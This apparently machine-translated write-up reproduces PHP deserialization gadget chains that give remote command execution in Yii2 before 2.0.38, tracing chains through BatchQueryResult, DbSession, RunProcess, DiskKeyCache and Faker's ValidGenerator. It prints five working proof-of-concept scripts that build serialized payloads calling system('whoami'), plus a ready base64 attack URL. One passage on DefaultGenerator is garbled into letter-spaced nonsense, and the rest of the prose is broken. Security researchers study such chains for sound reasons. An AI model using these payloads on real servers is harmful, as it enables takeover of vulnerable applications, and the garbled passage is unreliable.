Environment construction
The vulnerability is in the version before yii2.0.38. Download version 2.0.37basic
https://github.com/yiisoft/yii2/releases/tag/2.0.37
Modify the value of the / config/web file
Enter php yii serve in the current directory to start
Reappearance
Construct the deserialization entry first
Create a new controller
<?php namespace app\controllers; class SerController extends \yii\web\Controller { public function actionSer($data){ return unserialize(base64_decode($data)); } }
poc
<?php namespace yii\rest{ class IndexAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'system'; $this->id = 'whoami'; } } } namespace Faker { use yii\rest\IndexAction; class Generator { protected $formatters; public function __construct() { $this->formatters['close'] = [new IndexAction(), 'run']; } } } namespace yii\db{ use Faker\Generator; class BatchQueryResult{ private $_dataReader; public function __construct() { $this->_dataReader=new Generator(); } } } namespace{ use yii\db\BatchQueryResult; echo base64_encode(serialize(new BatchQueryResult())); }
Submit
http://localhost:8080/?r=ser/ser&data=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo2OiJzeXN0ZW0iO3M6MjoiaWQiO3M6Njoid2hvYW1pIjt9aToxO3M6MzoicnVuIjt9fX19
analysis
Recurrence chain I
The entry is the destruct of BatchQueryResult
Follow up reset
Here_ dataReader is controllable, and the close method is called. We can find__ The class of the call method calls the key when a method that does not exist in such an object is called. Call method
Global search__ call to find the methods available in \ vendor\fzaninotto\faker\src\Faker\Generator.php
Close is a parameterless function, and the final call is format(close)
Follow up format
Follow up on getFormatter
formatters are controllable, so the return value of this function is controllable, then call_ user_ func_ The first parameter of array is controllable, but the second parameter is empty, so we need to find available parameterless functions or simply call phpinfo().
You can use regular to find nonparametric functions
function \w+\(\)
The boss's idea is to search call_user_func function
function \w*\(\)\n? *\{(.*\n)+ *call_user_func
rest/IndexAction.php is easy to use
checkAccess and id are controllable. We can call any method.
Recurrence chain II
Or is it based on the BatchQueryResult class__ destruct is the entrance, but does not use__ call and directly find the available close function
Find the close() method in the advanced\vendor\yiisoft\yii2\web\DbSession.php class
Follow up on composeFields()
protected function composeFields($id = null, $data = null) { $fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : []; if ($id !== null) { $fields['id'] = $id; } if ($data !== null) { $fields['data'] = $data; } return $fields; }
- If you pass an array to call_user_func_array(), the value of each element of the array will be passed to the callback function as a parameter.
- If you pass an array to call_user_func(), the whole array will be passed to the callback function as a parameter, and the numeric key will be retained.
There is a call_ user_ Func ($this - > writeCallback, $this) and writeCallback is controllable, and then use this to call the run method in the above chain
poc
<?php namespace yii\rest{ class IndexAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'system'; $this->id = 'whoami'; } } } namespace yii\db{ use yii\web\DbSession; class BatchQueryResult { private $_dataReader; public function __construct(){ $this->_dataReader=new DbSession(); } } } namespace yii\web{ use yii\rest\IndexAction; class DbSession { public $writeCallback; public function __construct(){ $this->writeCallback=[new IndexAction(),'run']; } } } namespace{ use yii\db\BatchQueryResult; echo base64_encode(serialize(new BatchQueryResult())); }
Recurrence chain III
https://github.com/yiisoft/yii2/compare/2.0.37...2.0.38
2.0.38, added__ wakeup(), so BatchQueryResult can no longer be deserialized
Then we can find a new deserialization entry
Global search__ destruct found that the RunProcess class can take advantage of
follow-up
The process here is controllable. We can still use the previous chain call__ Call method
poc
<?php namespace yii\rest{ class IndexAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'system'; $this->id = 'whoami'; } } } namespace Faker { use yii\rest\IndexAction; class Generator { protected $formatters; public function __construct() { $this->formatters['isRunning'] = [new IndexAction(), 'run']; } } } namespace Codeception\Extension{ use Faker\Generator; class RunProcess { private $processes = []; public function __construct(){ $this->processes[]=new Generator(); } } } namespace{ use Codeception\Extension\RunProcess; echo base64_encode(serialize(new RunProcess())); }
Use success
Recurrence chain four
destruct in lib\classes\Swift\KeyCache\DiskKeyCache.php can also be used as an entry
follow-up
It involves string splicing, which can be found__ toString method
In see.php__ toString can use
public function __toString() : string { return $this->refers . ($this->description ? ' ' . $this->description->render() : ''); } }
$this - > description is controllable and can be called here__ call
<?php namespace yii\rest{ class IndexAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'system'; $this->id = 'whoami'; } } } namespace Faker { use yii\rest\IndexAction; class Generator { protected $formatters; public function __construct() { $this->formatters['render'] = [new IndexAction(), 'run']; } } } namespace phpDocumentor\Reflection\DocBlock\Tags{ use Faker\Generator; class See { protected $description; public function __construct(){ $this->description=new Generator(); } } } namespace{ use phpDocumentor\Reflection\DocBlock\Tags\See; class Swift_KeyCache_DiskKeyCache { private $keys = []; private $path; public function __construct(){ $this->path=new See(); $this->keys=array( 'hello'=>'world' ); } } echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache())); }
In the process of searching, I found that there are still others that can be used, but some will make mistakes after trying. It seems that__ toString cannot cause exceptions. It's a bit confusing
Then I saw Master Xin https://zhuanlan.zhihu.com/p/257811755 It is said that the view error is not echoed, and the command is executed, but the one I tried still failed to run the command, numb
Recurrence chain 5
There was a game before this chain
It is also the of vendor/codeception/codeception/ext/RunProcess.php__ destruct is the entrance
public function __destruct() { $this->stopProcess(); } public function stopProcess() { foreach (array_reverse($this->processes) as $process) { /** @var $process Process **/ if (!$process->isRunning()) { continue; } $this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine()); $process->stop(); } $this->processes = []; } }
Called through isRunning()__ call method
Previously, it was called with vendor/fakerphp/faker/src/Faker/Generator.php__ call method, but the new version calls wakeup for restriction
public function __wakeup() { $this->formatters = []; }
Use here
**vendor/fakerphp/faker/src/Faker/ValidGenerator.php * * class__ call
public function __call($name, $arguments) { $i = 0; do { $res = call_user_func_array(array($this->generator, $name), $arguments); $i++; if ($i > $this->maxRetries) { throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries)); } } while (!call_user_func($this->validator, $res)); return $res; } }
$this - > generator, $this - > validator, $this - > maxretries are controllable, but it's useless. The value of name is fixed, so you can only use this to call other functions__ Call, but calling another call is better than calling that call directly.
However, the call in vendor/fakerphp/faker/src/Faker/DefaultGenerator.php can return any value (default)
Can t h i s − > d e f a u l t set up Set by I Guys of life order , that r e s of value Just yes I Guys of life order , again control system This - > default is set to our command, and the value of res is our command, and then control Set this − > default as our command, and the value of res is our command. Then control this - > validator to system to execute any command
poc
<?php namespace Faker{ class DefaultGenerator{ protected $default ; function __construct($argv) { $this->default = $argv; } } class ValidGenerator{ protected $generator; protected $validator; protected $maxRetries; function __construct($command,$argv) { $this->generator = new DefaultGenerator($argv); $this->validator = $command; $this->maxRetries = 99999999; } } } namespace Codeception\Extension{ use Faker\ValidGenerator; class RunProcess{ private $processes = [] ; function __construct($command,$argv) { $this->processes[] = new ValidGenerator($command,$argv); } } } namespace { use Codeception\Extension\RunProcess; $exp = new RunProcess('system','whoami'); echo(base64_encode(serialize($exp))); exit(); }
reference resources
https://blog.csdn.net/qq_43571759/article/details/108804083
https://zhuanlan.zhihu.com/p/257811755
https://www.anquanke.com/post/id/217929#h2-3
https://xz.aliyun.com/t/9420